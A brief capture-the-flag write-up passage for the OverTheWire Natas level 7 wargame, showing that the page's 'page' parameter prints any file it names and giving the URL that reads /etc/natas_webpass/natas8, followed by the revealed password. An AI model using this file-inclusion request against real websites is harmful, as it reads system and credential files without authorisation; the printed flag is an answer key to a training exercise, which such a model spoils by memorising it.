here we can see it prints the content of the file that the param page gets. so, let’s give him the path to the password which is /etc/natas_webpass/natas8
http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8
Flag: xcoXLmzMkoIP9D7hlgPlh9XD7OgLAe5Q